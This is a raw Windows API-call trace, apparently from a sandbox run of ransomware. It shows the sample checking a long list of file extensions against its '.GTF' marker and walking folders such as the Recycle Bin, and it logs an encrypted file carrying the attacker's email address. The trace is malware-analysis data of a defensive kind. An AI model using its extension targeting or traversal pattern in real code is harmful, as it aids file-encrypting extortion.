	[0062.098] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".ics") returned 4
	[0062.098] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".iff") returned 4
	[0062.098] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".inc") returned 4
	[0062.098] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".indd") returned 5
	[0062.098] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0062.098] lstrlenW (lpString=".ini") returned 4
	[0062.098] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".iqy") returned 4
	[0062.098] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".j2c") returned 4
	[0062.098] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".j2k") returned 4
	[0062.098] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".java") returned 5
	[0062.098] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0062.098] lstrlenW (lpString=".jp2") returned 4
	[0062.098] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".jpc") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".jpe") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".jpeg") returned 5
	[0062.098] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0062.098] lstrlenW (lpString=".jpf") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".jpg") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".jpx") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0062.098] lstrlenW (lpString=".js") returned 3
	[0062.098] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0062.099] lstrlenW (lpString=".jsf") returned 4
	[0062.099] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0062.099] lstrlenW (lpString=".json") returned 5
	[0062.099] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0062.099] lstrlenW (lpString=".jsp") returned 4
	[0062.100] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0062.100] lstrlenW (lpString=".kdc") returned 4
	[0062.100] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0062.100] lstrlenW (lpString=".kmz") returned 4
	[0062.100] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".kwm") returned 4
	[0062.101] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".lasso") returned 6
	[0062.101] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0062.101] lstrlenW (lpString=".lbi") returned 4
	[0062.101] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".lgf") returned 4
	[0062.101] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".lgp") returned 4
	[0062.101] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".log") returned 4
	[0062.101] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".m1v") returned 4
	[0062.101] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".m4a") returned 4
	[0062.101] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".m4v") returned 4
	[0062.101] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".max") returned 4
	[0062.101] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".md") returned 3
	[0062.101] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0062.101] lstrlenW (lpString=".mda") returned 4
	[0062.101] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mdb") returned 4
	[0062.101] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mde") returned 4
	[0062.101] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mdf") returned 4
	[0062.101] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mdw") returned 4
	[0062.101] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mef") returned 4
	[0062.101] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0062.101] lstrlenW (lpString=".mft") returned 4
	[0062.101] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mfw") returned 4
	[0062.102] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mht") returned 4
	[0062.102] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mhtml") returned 6
	[0062.102] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0062.102] lstrlenW (lpString=".mka") returned 4
	[0062.102] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mkidx") returned 6
	[0062.102] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0062.102] lstrlenW (lpString=".mkv") returned 4
	[0062.102] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mos") returned 4
	[0062.102] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mov") returned 4
	[0062.102] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mp3") returned 4
	[0062.102] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mp4") returned 4
	[0062.102] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mpeg") returned 5
	[0062.102] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0062.102] lstrlenW (lpString=".mpg") returned 4
	[0062.102] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mpv") returned 4
	[0062.102] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mrw") returned 4
	[0062.102] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".msg") returned 4
	[0062.102] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".mxl") returned 4
	[0062.102] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".myd") returned 4
	[0062.102] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".myi") returned 4
	[0062.102] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0062.102] lstrlenW (lpString=".nef") returned 4
	[0062.103] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".nrw") returned 4
	[0062.103] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".obj") returned 4
	[0062.103] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".odb") returned 4
	[0062.103] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".odc") returned 4
	[0062.103] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".odm") returned 4
	[0062.103] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".odp") returned 4
	[0062.103] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".ods") returned 4
	[0062.103] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".oft") returned 4
	[0062.103] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".one") returned 4
	[0062.103] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".onepkg") returned 7
	[0062.103] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0062.103] lstrlenW (lpString=".onetoc2") returned 8
	[0062.103] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0062.103] lstrlenW (lpString=".opt") returned 4
	[0062.103] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".oqy") returned 4
	[0062.103] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".orf") returned 4
	[0062.103] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".p12") returned 4
	[0062.103] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".p7b") returned 4
	[0062.103] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".p7c") returned 4
	[0062.103] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0062.103] lstrlenW (lpString=".pam") returned 4
	[0062.103] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pbm") returned 4
	[0062.104] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pct") returned 4
	[0062.104] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pcx") returned 4
	[0062.104] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pdd") returned 4
	[0062.104] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pdf") returned 4
	[0062.104] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pdp") returned 4
	[0062.104] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pef") returned 4
	[0062.104] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pem") returned 4
	[0062.104] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pff") returned 4
	[0062.104] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pfm") returned 4
	[0062.104] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pfx") returned 4
	[0062.104] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".pgm") returned 4
	[0062.104] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".php") returned 4
	[0062.104] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0062.104] lstrlenW (lpString=".php3") returned 5
	[0062.104] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0062.104] lstrlenW (lpString=".php4") returned 5
	[0062.104] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0062.104] lstrlenW (lpString=".php5") returned 5
	[0062.104] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0062.104] lstrlenW (lpString=".phtml") returned 6
	[0062.104] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0062.104] lstrlenW (lpString=".pict") returned 5
	[0062.104] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0062.104] lstrlenW (lpString=".pl") returned 3
	[0062.105] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0062.105] lstrlenW (lpString=".pls") returned 4
	[0062.105] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".pm") returned 3
	[0062.105] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0062.105] lstrlenW (lpString=".png") returned 4
	[0062.105] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".pnm") returned 4
	[0062.105] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".pot") returned 4
	[0062.105] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".potm") returned 5
	[0062.105] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".potx") returned 5
	[0062.105] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".ppa") returned 4
	[0062.105] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".ppam") returned 5
	[0062.105] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".ppm") returned 4
	[0062.105] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".pps") returned 4
	[0062.105] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".ppsm") returned 5
	[0062.105] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".ppt") returned 4
	[0062.105] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".pptm") returned 5
	[0062.105] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".pptx") returned 5
	[0062.105] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0062.105] lstrlenW (lpString=".prn") returned 4
	[0062.105] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0062.105] lstrlenW (lpString=".ps") returned 3
	[0062.105] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0062.105] lstrlenW (lpString=".psb") returned 4
	[0062.106] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".psd") returned 4
	[0062.106] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".pst") returned 4
	[0062.106] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".ptx") returned 4
	[0062.106] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".pub") returned 4
	[0062.106] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".pwm") returned 4
	[0062.106] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".pxr") returned 4
	[0062.106] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".py") returned 3
	[0062.106] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0062.106] lstrlenW (lpString=".qt") returned 3
	[0062.106] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0062.106] lstrlenW (lpString=".r3d") returned 4
	[0062.106] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".raf") returned 4
	[0062.106] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".rar") returned 4
	[0062.106] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0062.106] lstrlenW (lpString=".raw") returned 4
	[0062.106] lstrcmpiW (lpString1=".raw", lpString2=".GTF") returned 1
	[0062.106] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0062.106] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0062.107] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0062.107] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0062.107] FindClose (in: hFindFile=0x812088 | out: hFindFile=0x812088) returned 1
	[0062.107] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.107] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0062.107] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0062.107] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0062.107] FindNextFileW (in: hFindFile=0x811908, lpFindFileData=0x3a1fcf8 | out: lpFindFileData=0x3a1fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0062.107] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e70050
	[0062.107] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0062.107] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811bc8
	[0062.108] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0062.108] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0062.108] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0062.108] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0062.108] lstrlenW (lpString="S-1-5-18") returned 8
	[0062.108] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0062.108] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.108] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0062.108] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9b82bbc6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c48
	[0062.108] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9b82bbc6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.108] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b7df44d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b7df44d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b806c47, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 1
	[0062.108] lstrlenW (lpString="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 53
	[0062.108] lstrlenW (lpString=".1cd") returned 4
	[0062.108] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0062.108] lstrlenW (lpString=".3ds") returned 4
	[0062.108] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0062.108] lstrlenW (lpString=".3fr") returned 4
	[0062.108] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0062.108] lstrlenW (lpString=".3g2") returned 4
	[0062.108] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0062.108] lstrlenW (lpString=".3gp") returned 4
	[0062.108] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0062.108] lstrlenW (lpString=".7z") returned 3
	[0062.108] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0062.108] lstrlenW (lpString=".accda") returned 6
	[0062.108] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".accdb") returned 6
	[0062.109] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".accdc") returned 6
	[0062.109] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".accde") returned 6
	[0062.109] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".accdt") returned 6
	[0062.109] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".accdw") returned 6
	[0062.109] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0062.109] lstrlenW (lpString=".adb") returned 4
	[0062.109] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".adp") returned 4
	[0062.109] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai") returned 3
	[0062.109] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai3") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai4") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai5") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai6") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai7") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".ai8") returned 4
	[0062.109] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".anim") returned 5
	[0062.109] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0062.109] lstrlenW (lpString=".arw") returned 4
	[0062.109] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0062.109] lstrlenW (lpString=".as") returned 3
	[0062.109] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0062.110] lstrlenW (lpString=".asa") returned 4
	[0062.110] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".asc") returned 4
	[0062.110] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".ascx") returned 5
	[0062.110] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
